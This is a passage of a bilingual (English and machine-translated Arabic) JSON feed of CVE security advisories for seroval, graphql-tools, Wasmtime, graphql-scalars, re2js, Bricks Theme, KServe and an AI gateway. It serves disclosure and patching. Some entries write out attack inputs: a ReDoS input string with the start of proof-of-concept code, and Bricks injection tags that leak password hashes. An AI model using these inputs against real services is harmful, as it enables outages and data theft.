element index. Invalid input throws `SerovalMalformedNodeError`. ### Workarounds None. Upgrade to 1.6.8.","ar":"الملخص: استخدمت `fromJSON` و `fromCrossJSON` حقلين للعملاء دون التحقق منهما. - لم يتم التحقق مما إذا كانت قائمة عناصر عقدة المصفوفة عبارة عن مصفوفة. يمكن لـ payload صغير تعيين الطول الذي تدور حوله حلقة أداة فك التشفير. يتم تعقب هذا الجزء أيضًا في GHSA-wp97-x4hv-qvhp. - لم يتم التحقق من فهرس الانتهاء لعقدة التسلسل. تنتج القيمة المُعدة مُكررًا لا ينتهي أبدًا. التأثير: يمكن جعل الخدمة التي تمرر مدخلات غير موثوقة إلى `fromJSON` أو `fromCrossJSON` غير متوفرة بواسطة طلب دون مصادقة. - تحظر حالة المصفوفة الخيط أثناء تشغيل أداة فك التشفير. - تجعل حالة التسلسل أي شيفرة تقرأ المكرر الناتج حتى النهاية تعمل إلى الأبد. التصحيحات: تم الإصلاح في `seroval@1.6.8`. - يجب أن تكون قوائم العناصر مصفوفات. - يجب أن تكون فهارس طرح وانتهاء عقدة التسلسل أعدادًا صحيحة من -1 حتى فهرس العنصر الأخير. يؤدي الإدخال غير الصالح إلى طرح `SerovalMalformedNodeError`. إجراءات التخفيف: لا يوجد. قم بالترقية إلى 1.6.8."},"refs":[["https://github.com/advisories/GHSA-97r2-qh9m-474h","advisory"],["https://github.com/lxsmnsyc/seroval/security/advisories/GHSA-97r2-qh9m-474h","ref"],["https://nvd.nist.gov/vuln/detail/CVE-2026-116581","ref"],["https://github.com/lxsmnsyc/seroval/commit/cdcee3e3bc384ee844360844f8ea98fd2b275d69","ref"],["https://github.com/lxsmnsyc/seroval/commit/e176f9267e59ddd6c9de89cc9fe85c5b37a5b728","ref"],["https://github.com/lxsmnsyc/seroval/releases/tag/seroval@1.6.8","ref"]],"epss":0.0045,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"seroval"},{"id":"CVE-2026-116584","cvss":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","cwe":"CWE-770","tags":[],"zero":false,"exploited":false,"status":"patched","published":"2026-10-28T21:17:20Z","product":"seroval","affected":[[">= 1.4.1, <= 1.6.7","1.6.8"]],"title":{"en":"Seroval `fromJSON`/`fromCrossJSON` denial of service via unvalidated array node length","ar":"حجب خدمة Seroval `fromJSON`⼅`fromCrossJSON` عبر طول عقدة مصفوفة غير مُتحقق منه"},"summary":{"en":"### Summary `fromJSON` and `fromCrossJSON` did not check that an array node's element list is an array. A small crafted payload could set the length the decoder used. That length controlled how much memory was allocated and how many times the decoder looped, and it did not depend on the size of the payload. ### Impact A service that passes untrusted input to `fromJSON` or `fromCrossJSON` can be made unavailable by an unauthenticated request. - A small payload can allocate enough memory to end the process. - A small payload can block the thread for seconds, or without end. This affects any framework that decodes request bodies with these functions before its own validation runs. This issue is a bypass of the fix for GHSA-66fc-rw6m-c2q6 in 1.4.1. ### Patches Fixed in `seroval@1.6.8`. The deserializer now rejects any node whose element list is not an array, and throws `SerovalMalformedNodeError`. ### Workarounds None. Upgrade to 1.6.8.","ar":"الملخص: لم تتحقق `fromJSON` و `fromCrossJSON` من أن قائمة عناصر عقدة المصفوفة هي مصفوفة. يمكن لـ payload صغير مُعد مسبقًا تعيين الطول الذي استخدمته أداة فك التشفير. يتحكم هذا الطول في مقدار الذاكرة التي يتم تخصيصها وعدد المرات التي تدور فيها أداة فك التشفير، ولا يعتمد على حجم الpayload. التأثير: يمكن جعل الخدمة التي تمرر مدخلات غير موثوقة إلى `fromJSON` أو `fromCrossJSON` غير متوفرة بواسطة طلب دون مصادقة. - يمكن لـ payload صغير تخصيص ذاكرة كافية لإنهاء العملية. - يمكن لـ payload صغير حظر الخيط لثوانٍ، أو بلا نهاية. يؤثر هذا على أي إطار عمل يقوم بفك تشفير هيئات الطلبات باستخدام هذه الدوال قبل تشغيل التحقق الخاص به. تعتبر هذه المشكلة تجاوزًا لإصلاح GHSA-66fc-rw6m-c2q6 في الإصدار 1.4.1. التصحيحات: تم الإصلاح في `seroval@1.6.8`. يرفض مزيل التسلسل الآن أي عقدة لا تكون قائمة عناصرها مصفوفة، ويطرح `SerovalMalformedNodeError`. إجراءات التخفيف: لا يوجد. قم بالترقية إلى 1.6.8."},"refs":[["https://github.com/advisories/GHSA-wp97-x4hv-qvhp","advisory"],["https://github.com/lxsmnsyc/seroval/security/advisories/GHSA-wp97-x4hv-qvhp","ref"],["https://nvd.nist.gov/vuln/detail/CVE-2026-116584","ref"],["https://github.com/lxsmnsyc/seroval/commit/cdcee3e3bc384ee844360844f8ea98fd2b275d69","ref"],["https://github.com/lxsmnsyc/seroval/releases/tag/seroval@1.6.8","ref"]],"epss":0.0037,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"seroval"},{"id":"CVE-2026-116580","cvss":7.3,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L","cwe":"CWE-502","tags":["RCE"],"zero":false,"exploited":false,"status":"patched","published":"2026-10-28T21:17:15Z","product":"seroval","affected":[["<= 1.6.7","1.6.8"]],"title":{"en":"Seroval: Deserialization invokes attacker-chosen callables: AsyncIteratorFactoryInstance calls source.on(listener) without type check","ar":"Seroval: استدعاء إلغاء التسلسل لدوال قابلة للاستدعي يختارها المهاجم: استدعاءات AsyncIteratorFactoryInstance لـ source.on(listener) دون التحقق من النوع"},"summary":{"en":"### Summary When `fromJSON` rebuilt an async iterator, it called `on()` on the iterator's source without checking that the source was a seroval stream. A crafted payload could pick another value as the source, such as a function returned by an application plugin. The deserializer then called that value's `on` method. This is a variant of GHSA-mv8w-475r-vwqw. That fix covered the promise and stream control nodes but not the async iterator node. ### Impact An application that passes untrusted input to `fromJSON` with plugins that return callable values can have those callables invoked during deserialization. What this allows depends on what the plugin's values do. ### Affected versions - Versions up to 1.6.3 accept any value as the source. - 1.6.4 rejects the reported payload. - 1.6.5 to 1.6.7 check the source by node type, which a payload can get around by reusing a node id. - All versions up to 1.6.7 should be treated as affected. ### Patches Fixed in `seroval@1.6.8`. Streams and sequences are now internal class instances. The deserializer checks the source value with `instanceof`, so plain data and plugin values are rejected no matter which node id they use. ### Workarounds Avoid plugins whose `deserialize` returns functions or objects with an `on` method when decoding untrusted input. Upgrading to 1.6.8 is recommended.","ar":"الملخص: عندما قامت `fromJSON` إعادة إنشاء مُكرر غير متزامن، قامت باستدعاء `on()` على مصدر المُكرر دون التحقق من أن المصدر كان دفق seroval. يمكن لـ payload مُعد مسبقًا اختيار قيمة أخرى كمصدر، مثل دالة يتم إرجاعها بواسطة ملحق التطبيق. ثم قام مزيل التسلسل باستدعاء طريقة `on` لتلك القيمة. هذا متغير من GHSA-mv8w-475r-vwqw. غطى هذا الإصلاح عقد التحكم في الوعود والدفق ولكن ليس عقدة المكرر غير المتزامن. التأثير: يمكن أن يتعرض التطبيق الذي يمرر مدخلات غير موثوقة إلى `fromJSON` مع الملحقات التي تُرجع قيمًا قابلة للاستدعاء لاستدعاء تلك الدوال أثناء إلغاء التسلسل. ما يتيحه ذلك يعتمد على ما تفعله قيم الملحق. الإصدارات المتأثرة: - الإصدارات حتى 1.6.3 تقبل أي قيمة كمصدر. - يرفض 1.6.4 الpayload المُبلغ عنه. - تتحقق الإصدارات من 1.6.5 إلى 1.6.7 من المصدر حسب نوع العقدة، والذي يمكن لـ payload تجاوزه عن طريق إعادة استخدام معرف العقدة. - يجب اعتبار جميع الإصدارات حتى 1.6.7 متأثرة. التصحيحات: تم الإصلاح في `seroval@1.6.8`. أصبحت التدفقات والتسلسلات الآن مثيلات لفئة داخلية. يتحقق مزيل التسلسل من قيمة المصدر باستخدام `instanceof`، لذلك يتم رفض البيانات البسيطة وقيم الملحقات بغض النظر عن معرف العقدة الذي تستخدمه. إجراءات التخفيف: تجنب الملحقات التي تُرجع وظائف أو كائنات ذات طريقة `on` عند فك تشفير إدخال غير موثوق به. يوصى بالترقية إلى 1.6.8."},"refs":[["https://github.com/advisories/GHSA-7rv5-mrxv-xcr9","advisory"],["https://github.com/lxsmnsyc/seroval/security/advisories/GHSA-7rv5-mrxv-xcr9","ref"],["https://nvd.nist.gov/vuln/detail/CVE-2026-116580","ref"],["https://github.com/lxsmnsyc/seroval/commit/3edc78b495ea0d6bd498143e5b3e56996607c5f2","ref"],["https://github.com/lxsmnsyc/seroval/commit/50926b3ee198fb757e6ce3aa70efeed38d931c8d","ref"],["https://github.com/lxsmnsyc/seroval/releases/tag/seroval@1.6.8","ref"]],"epss":0.0034,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"seroval"},{"id":"CVE-2026-118665","cvss":8.2,"vector":"CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","cwe":"CWE-613","tags":[],"zero":false,"exploited":false,"status":"unknown","published":"2026-10-28T21:16:56Z","product":"ardatan graphql-tools","affected":[],"title":{"en":"GraphQL Tools: Per-request connection parameters persist into later users' WebSocket authentications","ar":"GraphQL Tools: معلمات اتصال الطلب الفردي تستمر في عمليات مصادقة WebSocket للمستخدمين اللاحقين"},"summary":{"en":"GraphQL Tools provides utilities for building, stitching, and mocking GraphQL schemas. Prior to version 1.1.36 of the GraphQL Tools legacy WebSocket executor package, buildWSLegacyExecutor in packages/executors/legacy-ws/src/index.ts retains request.extensions.connectionParams in the closure-scoped executorConnectionParams object after cleanupWebsocket closes a connection. When one executor is reused across different authorization contexts, a later request that omits a sensitive key can send an earlier caller's Authorization or tenant value in its connection_init payload, causing the downstream server to authenticate the later caller as the earlier user. Applications that create a new executor for every request are not affected. This issue is fixed in version 1.1.36 of the GraphQL Tools legacy WebSocket executor package.","ar":"يوفر GraphQL Tools أدوات لبناء ودمج ومحاكاة مخططات GraphQL. قبل الإصدار 1.1.36 من حزمة منفذ WebSocket القديمة لـ GraphQL Tools، تقوم الدالة buildWSLegacyExecutor في packages/executors/legacy-ws/src/index.ts بالاحتفاظ بـ request.extensions.connectionParams في كائن executorConnectionParams ذو نطاق الإغلاق (closure-scoped) بعد أن تقوم cleanupWebsocket بإغلاق الاتصال. عندما يتم إعادة استخدام منفذ واحد عبر سياقات مصادقة مختلفة، يمكن لطلب لاحق يتجاهل مفتاحاً حساساً إرسال قيمة Authorization أو tenant الخاصة بمرسل سابق في حمولة connection_init الخاصة به، مما يسبب خادم المجرى اللاحق في مصادقة المرسل اللاحق كالمستخدم السابق. التطبيقات التي تنشئ منفذاً جديداً لكل طلب لا تأثر. تم إصلاح هذه المشكلة في الإصدار 1.1.36 من حزمة منفذ WebSocket القديمة لـ GraphQL Tools."},"refs":[["https://github.com/ardatan/graphql-tools/commit/c2f226e6f68236be9e4a577f29faeaa92547458b","ref"],["https://github.com/ardatan/graphql-tools/pull/8480","ref"],["https://github.com/ardatan/graphql-tools/releases/tag/@graphql-tools/executor-legacy-ws@1.1.36","ref"],["https://github.com/ardatan/graphql-tools/security/advisories/GHSA-434m-5hcj-pxf3","ref"]],"epss":0.0039,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"ardatan-graphql-tools"},{"id":"CVE-2026-115893","cvss":9.9,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H","cwe":"CWE-691","tags":[],"zero":false,"exploited":false,"status":"patched","published":"2026-10-28T21:14:14Z","product":"wasmtime","affected":[["< 36.0.19","36.0.19"],[">= 37.0.0, < 48.0.7","48.0.7"],[">= 49.0.0, < 49.0.4","49.0.4"]],"title":{"en":"Wasmtime: Cranelift backend on aarch64 can jump to incorrect target on large Wasm `br_table` instruction","ar":"Wasmtime: يمكن لخلفية Cranelift على aarch64 الانتقال إلى هدف غير صحيح عند تعليمة `br_table` في Wasm الكبيرة"},"summary":{"en":"## Summary When running with the Cranelift compiler backend on an aarch64 target, Wasmtime can compile a Wasm module with more than ~256k targets on one `br_table` instruction in a way that results in an incorrect conditional branch target. This conditional branch could then jump to arbitrary other code (at an user-controlled offset), leading to arbitrary sandbox escapes. ## Impact Any Wasmtime engine running on aarch64 with default settings can be forced to jump to arbitrary code by a user-controlled Wasm module. All versions of Wasmtime/Cranelift that support aarch64, since the initial release of that support in 2020 (before Wasmtime v1.0), are affected. ## Patches Wasmtime v36.0.19, v48.0.7, and v49.0.4 have been released which all fix this issue.","ar":"الملخص: عند التشغيل باستخدام خلفية مترجم Cranelift على هدف aarch64، يمكن لـ Wasmtime تجميع وحدة Wasm بأكثر من ~256 ألف هدف على تعليمة `br_table` واحدة بطريقة تؤدي إلى هدف فرع شرطي غير صحيح. يمكن بعد ذلك لهذا الفرع الشرطي الانتقال إلى شيفرة عشوائية أخرى (عند إزاحة يسيطر عليها المستخدم)، مما يؤدي إلى الهروب من بيئة الحماية التعسفية. التأثير: أي محرك Wasmtime يعمل على aarch64 بالإعدادات الافتراضية يمكن إجباره على الانتقال إلى شيفرة عشوائية بواسطة وحدة Wasm يسيطر عليها المستخدم. تتأثر جميع إصدارات Wasmtime⼅Cranelift التي تدعم aarch64، منذ الإصدار الأولي لهذا الدعم في عام 2020 (قبل Wasmtime v1.0). التصحيحات: تم إصدار Wasmtime v36.0.19 و v48.0.7 و v49.0.4 والتي تحل جميعها هذه المشكلة."},"refs":[["https://github.com/advisories/GHSA-mghf-wjfp-p5xm","advisory"],["https://github.com/bytecodealliance/wasmtime/security/advisories/GHSA-mghf-wjfp-p5xm","ref"],["https://nvd.nist.gov/vuln/detail/CVE-2026-115893","ref"],["https://github.com/bytecodealliance/wasmtime/pull/14818","ref"],["https://github.com/bytecodealliance/wasmtime/pull/14819","ref"],["https://github.com/bytecodealliance/wasmtime/pull/14820","ref"],["https://github.com/bytecodealliance/wasmtime/pull/14826","ref"],["https://github.com/bytecodealliance/wasmtime/commit/222ff3a65dab9aa7011f8c246937751a0bac5abd","ref"],["https://github.com/bytecodealliance/wasmtime/commit/994549891c8a706cb4f2809f9d17b9f67b31e618","ref"],["https://github.com/bytecodealliance/wasmtime/commit/e61df1b454be9313d61a5f8de07722a421139bbe","ref"],["https://github.com/bytecodealliance/wasmtime/commit/f517bd6e890c7c1291ab9fe05d8cc0c9f11e56aa","ref"],["https://github.com/bytecodealliance/wasmtime/releases/tag/v36.0.19","ref"]],"epss":0.0099,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"wasmtime"},{"id":"CVE-2026-115887","cvss":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","cwe":"CWE-1333","tags":[],"zero":false,"exploited":false,"status":"patched","published":"2026-10-28T21:13:10Z","product":"graphql-scalars","affected":[[">= 1.24.1, <= 2.0.0","2.0.1"]],"title":{"en":"graphql-scalars PhoneNumber scalar is vulnerable to regular expression denial of service","ar":"مقياس PhoneNumber في graphql-scalars معرض لثغرة حجب الخدمة عبر التعبير النمطي"},"summary":{"en":"## Summary The regular expression behind `GraphQLPhoneNumber` since 1.24.1 backtracks exponentially. A string made of a run of digits followed by one character that makes the match fail (for example `\"1\".repeat(30) + \"x\"`) blocks the JavaScript thread for seconds, and every additional digit doubles the time. graphql-js calls `parseLiteral` while *validating* a document and `parseValue` while coercing variables, so the regex runs for every request that merely contains such a value in a `PhoneNumber` position, before execution and before any authentication or authorization step of the server. One small unauthenticated request is enough to stall a server process. ## Affected versions - `graphql-scalars` >= 1.24.1, <= 2.0.0 (2.0.0 is the current `latest`; the default branch still has the same pattern). - Not affected: 1.24.0 and the earlier versions I checked (1.22.4, 1.23.0), which use the linear `/^\\+[1-9]\\d{6,14}$/`. - Introduced by #2719 (c7f58da16, \"PhoneNumber scalar is not fully compatible with E.164 format so updated regex to support phone number with extension\"), released as 1.24.1 on 2025-01-29. The payload was ran against 1.22.4, 1.23.0, 1.24.0, 1.24.1, 1.24.2, 1.25.0, 1.26.0 and 2.0.0: the first three reject it instantly, the other five show the exponential growth. ## Root cause `src/scalars/PhoneNumber.ts`: ```js const PHONE_NUMBER_REGEX = /^\\+?\\d{1,3}(\\-|\\x20)?\\(?\\d+\\)?((\\-|\\x20)?\\d+)+$/; ``` In `\\d+\\)?((\\-|\\x20)?\\d+)+$` the separator is optional, so a run of n digits can be split across the inner `\\d+` and the outer `+` iterations in a number of ways that is exponential in n. When the overall match fails, for instance on a trailing non-digit, the engine tries all of them. ## Proof of concept 1. The scalar alone (`npm i graphql graphql-scalars@2.0.0`): ```js import { GraphQLPhoneNumber } from 'graphql-scalars'; for (const ok of ['+41791234567', '079 123 45 67', '+1 (123) 456-7890', 'nope']) { try { GraphQLPhoneNumber.parseValue(ok); } catch {} } for (cons…","ar":"## الملخص التعبير النمطي الحاكم لـ `GraphQLPhoneNumber` منذ الإصدار 1.24.1 يتراجع أسياً (backtracks exponentially). سلسلة نصية مكونة من سلسلة من الأرقام تليها حرف واحد يجعل التطابق يفشل (على سبيل المثال `\"1\".repeat(30) + \"x\"`) تحجب خيط JavaScript لعدة ثوانٍ، وكل رقم إضافي يضاعف الوقت. يستدعي graphql-js دالة `parseLiteral` أثناء *التحقق من صحة* المستند ودالة `parseValue` أثناء فرض أنواع المتغيرات، لذا يعمل التعبير النمطي لكل طلب يحتوي ببساطة على مثل هذه القيمة في موضع `PhoneNumber`، قبل التنفيذ وقبل أي خطوة مصادقة أو تفويض للخادم. يكفي طلب واحد صغير دون مصادقة لتجميع عملية الخادم وتوقفها. ## الإصدارات المتأثرة - `graphql-scalars` >= 1.24.1, <= 2.0.0 (2.0.0 هو الإصدار `latest` الحالي؛ الفرع الافتراضي لا يزال يحتوي على النمط نفسه). - غير متأثر: 1.24.0 والإصدارات السابقة التي فحصتها (1.22.4, 1.23.0)، والتي تستخدم النمط الخطي `/^\\+[1-9]\\d{6,14}$/`. - تم إدخالها عبر #2719 (c7f58da16، \"PhoneNumber scalar is not fully compatible with E.164 format so updated regex to support phone number with extension\")، وصدرت كإصدار 1.24.1 في 2025-01-29. تم تشغيل الحمولة مقابل 1.22.4 و 1.23.0 و 1.24.0 و 1.24.1 و 1.24.2 و 1.25.0 و 1.26.0 و 2.0.0: رفضت الإصدارات الثلاثة الأولى ذلك فوراً، بينما أظهرت الإصدارات الخمسة الأخرى نمواً أسياً. ## السبب الرئيسي `src/scalars/PhoneNumber.ts`: ```js const PHONE_NUMBER_REGEX = /^\\+?\\d{1,3}(\\-|\\x20)?\\(?\\d+\\)?((\\-|\\x20)?\\d+)+$/; ``` في `\\d+\\)?((\\-|\\x20)?\\d+)+$` الفاصل اختياري، لذا يمكن تقسيم سلسلة من n من الأرقام عبر `\\d+` الداخلي و `+` الخارجي بطرق متعددة تتزايد أسياً مع n. عندما يفشل التطابق الإجمالي، على سبيل المثال على رقم غير خانة في النهاية، يحاول المحرك جميع هذه الطرق. ## إثبات المفهوم 1. المقياس بمفرده (`npm i graphql graphql-scalars@2.0.0`): ```js import { GraphQLPhoneNumber } from 'graphql-scalars'; for (const ok of ['+41791234567', '079 123 45 67', '+1 (123) 456-7890', 'nope']) { try { GraphQLPhoneNumber.parseValue(ok); } catch {} } for (cons..."},"refs":[["https://github.com/advisories/GHSA-x8rm-f576-gq67","advisory"],["https://github.com/graphql-hive/graphql-scalars/security/advisories/GHSA-x8rm-f576-gq67","ref"],["https://nvd.nist.gov/vuln/detail/CVE-2026-115887","ref"],["https://github.com/graphql-hive/graphql-scalars/pull/2719","ref"],["https://github.com/graphql-hive/graphql-scalars/commit/210fd2485641afa2452800c00144245c74361701","ref"],["https://github.com/graphql-hive/graphql-scalars/releases/tag/v2.0.1","ref"]],"epss":0.0049,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"graphql-scalars"},{"id":"CVE-2026-118803","cvss":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N","cwe":"CWE-1336","tags":[],"zero":false,"exploited":false,"status":"patched","published":"2026-10-28T21:11:32Z","product":"Bricks Bricks Theme","affected":[["0 – <2.4.4","2.4.4"]],"title":{"en":"Bricks Theme Unauthenticated Dynamic Data Tag Injection via query_result","ar":"ثغرة حقن وسم البيانات الديناميكية دون مصادقة في قالب Bricks Theme عبر query_result"},"summary":{"en":"Bricks Theme 2.4.3 and before contains an unauthenticated dynamic-data tag injection vulnerability that allows anonymous attackers to control the urlParams object in the query_result REST endpoint, causing the submitted value to be re-parsed as a Bricks dynamic data tag. Attackers can inject tags such as author_meta:user_pass, author_meta:user_email, or cf_coupon_amount to leak post meta and the post author's user record, including the password hash, without authentication.","ar":"يحتوي قالب Bricks Theme في الإصدار 2.4.3 وما قبله على ثغرة حقن وسم بيانات ديناميكية دون مصادقة تتيح للمهاجمين المجهولين التحكم بكائن urlParams في نقطة نهاية REST المسمى query_result، مما يتسبب في إعادة تحليل القيمة المُرسلة كـوسم بيانات ديناميكية لقالب Bricks. يمكن للمهاجمين حقن وسوم مثل author_meta:user_pass أو author_meta:user_email أو cf_coupon_amount لتسريب بيانات التعريف الخاصة بالمنشور وسجل مستخدم مؤلف المنشور بما في ذلك تجزئة كلمة المرور، وذلك دون الحاجة إلى مصادقة."},"refs":[["https://www.vulncheck.com/advisories/bricks-theme-unauthenticated-dynamic-data-tag-injection-via-query-result","advisory"],["https://bricksbuilder.io/release/bricks-2-4-4/","ref"]],"epss":0.0037,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"bricks-theme"},{"id":"CVE-2026-116795","cvss":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","cwe":"CWE-407","tags":[],"zero":false,"exploited":false,"status":"patched","published":"2026-10-28T21:10:01Z","product":"re2js","affected":[[">= 2.2.0, < 2.8.7","2.8.7"]],"title":{"en":"RE2JS: Quadratic-time denial of service in re2js lookbehind matching","ar":"ثغرة عالية الخطورة في re2js"},"summary":{"en":"### Summary Using the opt-in `LOOKBEHINDS` flag together with any repeated-matching API (`matcher().find()` in a loop, `matchAll()`, `split()`, `matcher().replaceAll()`) causes quadratic-time (Θ(n²)) matching, contradicting the library's own \"linear time matching\" guarantee. A single call with a 16,000-character input takes **36.7–38.7 seconds of CPU**. ### Description #### Root cause In `build/index.cjs`, `Machine.match`: ```js let currentPos = this.prog.numLb > 0 ? 0 : pos; // ~line 1907 ... if (this.ncap === 0 && this.matched) break; // ~line 1953 ``` Any pattern containing a lookbehind sets `prog.numLb > 0`, which forces the scan to **always restart at offset 0**, regardless of the requested start position — the lookbehind automaton is re-seeded and the whole input is re-walked on every single `find()` call. The early-exit optimization that would otherwise stop at the first match only fires when `ncap === 0`, but every `Matcher`-based API (`find`/`matchAll`/`split`/`replaceAll`) always requests `ncap = 2` (one capture group slot) **even for a captureless lookbehind pattern** — so the early exit never triggers through those APIs, and the scan continues to the end of the input on every find. A find-loop over *k* matches in an *n*-character string therefore costs *k* × Θ(*n*); for dense matches *k* ∝ *n*, giving **Θ(n²)** total. #### Isolating control Identical find-loop, identical input sizes, same 2-character literal pattern *shape* — but **without** the `LOOKBEHINDS` flag: | n | with `LOOKBEHINDS` (lookbehind pattern) | without (plain literal) | native JS `RegExp` lookbehind | |---|---|---|---| | 2,000 | 204–228 ms | 3 ms | 0 ms | | 4,000 | 877–899 ms | 4 ms | 0 ms | | 8,000 | 5,746–6,599 ms | 7 ms | 1 ms | | 16,000 | 36,667–38,732 ms | 6 ms | 1 ms | This isolates the lookbehind machinery itself — not pattern length, not match density in the abstract — as the exact and sole cause. #### Impact - `re2js`'s entire value proposition is being an RE2-style engine wit…","ar":"### Summary Using the opt-in `LOOKBEHINDS` flag together with any repeated-matching API (`matcher().find()` in a loop, `matchAll()`, `split()`, `matcher().replaceAll()`) causes quadratic-time (Θ(n²)) matching, contradicting the library's own \"linear time matching\" guarantee. A single call with a 16,000-character input takes **36.7–38.7 seconds of CPU**. ### Description #### Root cause In `build/index.cjs`, `Machine.match`: ```js let currentPos = this.prog.numLb > 0 ? 0 : pos; // ~line 1907 ... if (this.ncap === 0 && this.matched) break; // ~line 1953 ``` Any pattern containing a lookbehind sets `prog.numLb > 0`, which forces the scan to **always restart at offset 0**, regardless of the requested start position — the lookbehind automaton is re-seeded and the whole input is re-walked on every single `find()` call. The early-exit optimization that would otherwise stop at the first match only fires when `ncap === 0`, but every `Matcher`-based API (`find`/`matchAll`/`split`/`replaceAll`) always requests `ncap = 2` (one capture group slot) **even for a captureless lookbehind pattern** — so the early exit never triggers through those APIs, and the scan continues to the end of the input on every find. A find-loop over *k* matches in an *n*-character string therefore costs *k* × Θ(*n*); for dense matches *k* ∝ *n*, giving **Θ(n²)** total. #### Isolating control Identical find-loop, identical input sizes, same 2-character literal pattern *shape* — but **without** the `LOOKBEHINDS` flag: | n | with `LOOKBEHINDS` (lookbehind pattern) | without (plain literal) | native JS `RegExp` lookbehind | |---|---|---|---| | 2,000 | 204–228 ms | 3 ms | 0 ms | | 4,000 | 877–899 ms | 4 ms | 0 ms | | 8,000 | 5,746–6,599 ms | 7 ms | 1 ms | | 16,000 | 36,667–38,732 ms | 6 ms | 1 ms | This isolates the lookbehind machinery itself — not pattern length, not match density in the abstract — as the exact and sole cause. #### Impact - `re2js`'s entire value proposition is being an RE2-style engine wit…"},"refs":[["https://github.com/advisories/GHSA-gg6h-894w-4m9c","advisory"],["https://github.com/le0pard/re2js/security/advisories/GHSA-gg6h-894w-4m9c","ref"],["https://nvd.nist.gov/vuln/detail/CVE-2026-116795","ref"],["https://github.com/le0pard/re2js/pull/59","ref"],["https://github.com/le0pard/re2js/commit/dfdd947785dfa113bdc97416375c246a39458395","ref"],["https://github.com/le0pard/re2js/releases/tag/2.8.7","ref"]],"epss":0.0047,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"productSlug":"re2js"},{"id":"CVE-2026-13451","cvss":7.7,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N","cwe":"CWE-918","tags":["Cloud"],"zero":false,"exploited":false,"status":"unknown","published":"2026-10-28T20:17:23Z","product":"Red Hat Red Hat OpenShift AI (RHOAI)","affected":[],"title":{"en":"Kserve: kserve: server-side request forgery via malicious storageuri","ar":"Kserve: kserve: تزوير الطلبات من جانب الخادم عبر storageuri خبيث"},"summary":{"en":"A flaw was found in KServe. A namespace-scoped user with create/update permissions on InferenceService custom resources can exploit this vulnerability by providing a malicious `storageUri`. This Server-Side Request Forgery (SSRF) vulnerability allows the `storage-initializer` init container to issue arbitrary outbound HTTP/HTTPS requests from inside the cluster. This can lead to information disclosure, including credential theft for the node's Identity and Access Management (IAM) role or access to internal cluster services.","ar":"تم اكتشاف ثغرة في KServe. يمكن لمستخدم محدد النطاق في المساحة الاسمية لديه صلاحيات إنشاء⼅تحديث على موارد InferenceService المخصصة استغلال هذه الثغرة من خلال توفير `storageUri` خبيث. تسمح ثغرة تزوير الطلبات من جانب الخادم (SSRF) هذه لحاوية التهيئة `storage-initializer` بإصدار طلبات HTTP⼅HTTPS خارجية عشوائية من داخل الكتلة. يمكن أن يؤدي هذا إلى كشف المعلومات، بما في ذلك سرقة بيانات الاعتماد لدور إدارة الهوية والوصول (IAM) الخاص بالمنعطف أو الوصول إلى خدمات الكتلة الداخلية."},"refs":[["https://access.redhat.com/security/cve/CVE-2026-13451","ref"],["https://bugzilla.redhat.com/show_bug.cgi?id=2493640","ref"]],"epss":0.0021,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"red-hat-openshift-ai"},{"id":"CVE-2026-117574","cvss":9.1,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:L","cwe":"CWE-639","tags":["Cloud"],"zero":false,"exploited":false,"status":"unknown","published":"2026-10-28T20:17:21Z","product":"Red Hat Red Hat OpenShift AI (RHOAI)","affected":[],"title":{"en":"Ai-gateway-payload-processing: ai-gateway-payload-processing: tenant/credential selection from client-controlled url path with no in-process authorization","ar":"Ai-gateway-payload-processing: تحديد المستأجر/بيانات الاعتماد من مسار عنوان URL المتحكم فيه من قبل العميل دون تفويض ضمن العملية"},"summary":{"en":"A flaw was found in ai-gateway-payload-processing. An authenticated remote attacker can exploit this vulnerability by submitting a request specifying another tenant's model identifier in the request body or header. Because the service does not verify authorization before retrieving credentials from the shared store, it injects the target tenant's application programming interface (API) keys into the request. This flaw allows an attacker to perform unauthorized requests and consume another tenant's large language model (LLM) resources and quotas.","ar":"تم اكتشاف ثغرة في ai-gateway-payload-processing. يمكن لمهاجم عن بُعد مصادق عليه استغلال هذه الثغرة من خلال إرسال طلب يحدد معرف نموذج مستأجر آخر في جسم الطلب أو الترويسة. ونظراً لأن الخدمة لا تحقق من التفويض قبل استرجاع بيانات الاعتماد من المخزن المشترك، فإنها تحقن مفاتيح واجهة برمجة التطبيقات (API) الخاصة بالمستأجر المستهدف في الطلب. تتيح هذه الثغرة للمهاجم تنفيذ طلبات غير مصرح بها واستهلاك موارد وحصص نماذج اللغة الكبيرة (LLM) الخاصة بمستأجر 